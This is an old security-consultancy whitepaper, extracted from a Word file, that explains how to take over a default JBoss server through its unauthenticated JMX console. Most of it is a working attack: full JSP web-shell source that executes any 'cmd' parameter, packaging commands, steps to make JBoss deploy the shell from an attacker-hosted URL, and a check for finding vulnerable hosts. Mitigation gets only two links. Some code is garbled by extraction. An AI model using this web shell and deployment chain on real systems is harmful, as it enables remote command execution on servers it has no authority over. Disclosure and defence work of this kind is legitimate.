Microsoft Word - hacking_jBoss_jmx

Jörg Scheinert

[email protected]

IT Security Consultant, n.runs AG

Hacking jBoss

Hacking a default jBoss installation using a browser

n.runs AG is a vendor

-

independent

consulting company

specializing in the areas of: IT Infrastructure, IT Security

,IT Business Consulting and IT Applications. For

additional information visit the n.runs AG website at

www.nruns.com.

Page 2 of 6 28.02.2008 n.runs AG

Table of Contents

1.

Introduction........................................................................................................ 3

2.

Jboss................................................................................................................. 3

2.1.

Default installation...................................................................................... 3

2.2.

JMX Console ............................................................................................. 3

3.

Deploy a web application................................................................................... 4

3.1.

The web application ................................................................................... 4

3.2.

Deploy it..................................................................................................... 5

4.

Execute your code (hacker view)....................................................................... 6

5.

Secure the JMX Console (administrator view) ................................................... 6

n.runs AG 28.02.2008 Page 3 of 6

1. Introduction

This paper is a brief how-to on hacking a default Jboss installation using the JMX-Console.

2. Jboss

Jboss is an open source, standards-compliant application server which is based on J2EE

(Java 2 Enterprise Edition). Being a Java-based application, it is generally platform-

independent.

2.1. Default installation

The default configuration of Jboss is relatively open and thereby provides the

administrator – as well as hackers - with many possibilities to compromise it.

2.2. JMX Console

The JMX console

1

can be remotely accessed on port 8080 in the default configuration.

The JMX console provides a view into the microkernel of the Jboss application server, as

well as access to the MBeans of the application server. The JMX console can be used to

configure the MBeans of the Jboss server. By default the JMX console on

http://[host]:8080/jmx-console can be accessed without any authentication.

1

http://en.wikipedia.org/wiki/JMX

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3. Deploy a web application

In order to deploy new applications on the application server, it is only necessary to configure

the DeploymentScanner by adding a new URL with a customized WAR (Web ARchive) file.

The DeploymentScanner

2

regularly checks the configured URLs for new applications to

deploy. By default it only checks the URL

file:/[JBOSSHOME]/server/default/deploy/

, but

with the addURL() command, it is possible to add a new URL with an application. Jboss will

get the application from this URL. The next step is to wait for the DeploymentScanner to run

the next time (usually about one minute), and access the new application.

3.1. The web application

It is necessary to create a WAR file with WEB-INF a JSP to execute system commands.

Here is a short example:

$ echo 'The JSP to execute the commands'

$ cat >cmd.jsp

<%@ page import="java.util.*,java.io.*"%>

<%

%>

Commands with JSP

</FORM>

<pre>

<%

if (request.getParameter("cmd") != null) {

out.println("Command: " + request.getParameter("cmd") + "<BR>");

Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));

OutputStream os = p.getOutputStream();

InputStream in = p.getInputStream();

DataInputStream dis = new DataInputStream(in);

String disr = dis.readLine();

while ( disr != null ) {

out.println(disr);

disr = dis.readLine();

}

%>

</pre>

</BODY></HTML>

$ echo 'The web.xml file in the WEB-INF directory configures the web application'

$ mkdir WEB-INF

$ cat >WEB-INF/web.xml

<?xml version="1.0" ?>

<web-app xmlns="http://java.sun.com/xml/ns/j2ee"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee

http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"

version="2.4">

<servlet-name>Command</servlet-name>

<jsp-file>/cmd.jsp</jsp-file>

</servlet>

</web-app>

$ echo 'Now put it into the WAR file'

$ jar cvf cmd.war WEB-INF cmd.jsp

$ echo 'Copy it on a web server where the Jboss server can get it'

$ cp cmd.war /var/www/localhost/htdocs/

2

http://wiki.jboss.org/wiki/Wiki.jsp?page=DeploymentScanner

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More information can be found at:

WAR file:

http://en.wikipedia.org/wiki/Sun_WAR_%28file_format%29

Creating a WAR file: http://access1.sun.com/techarticles/simple.WAR.html

JSP: http://en.wikipedia.org/wiki/JavaServer_Pages

3.2. Deploy it

1. Navigate the browser to the jboss.deployment:flavor=URL,type=DeploymentScanner

mbean

(http://[host]:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL)

2. Add the URL of the customized WAR file with the addURL() command

Invoke:

Success:

3. Wait for the DeploymentScanner....

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4. Access the deployed application

4. Execute your code (hacker view)

What needs to be deployed in order to execute the desired commands on the Jboss server?

To access an application with the browser, a web application should be deployed. For

example put a command.jsp into the WAR file and upload it to the web server. The WAR file

should be deployed, wait for the DeploymentScanner and execute commands using the

command.jsp. These commands will be executed with the privileges of the Jboss server.

4.1. Identifying vulnerable systems

Identifying vulnerable systems is easy, just check for page :

http://[host]:8080/jmx-

console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=Deplo

ymentScanner,flavor=URL

and the string "addURL()".

5. Secure the JMX Console (administrator view)

http://wiki.jboss.org/wiki/Wiki.jsp?page=SecureTheJmxConsole

http://jira.jboss.com/jira/secure/attachment/12313981/index.html

n.runs AG is a vendor-independent consulting company specializing in the areas of: IT Infrastructure,

IT Security, IT Business Consulting and IT Applications. Founded in 2001, n.runs specializes in

helping its customers to solve their information technology problems proactively and reactively. n.runs

delivers services in the areas of network design planning and implementation consulting, technical

security consulting such as secure design, application auditing, development of customized security

solutions, information security management consulting and specialized application products. Based in

Oberursel and Berlin, Germany, n.runs offers its knowledge and expertise to clients all over the world.

For additional information visit the n.runs AG website at www.nruns.com.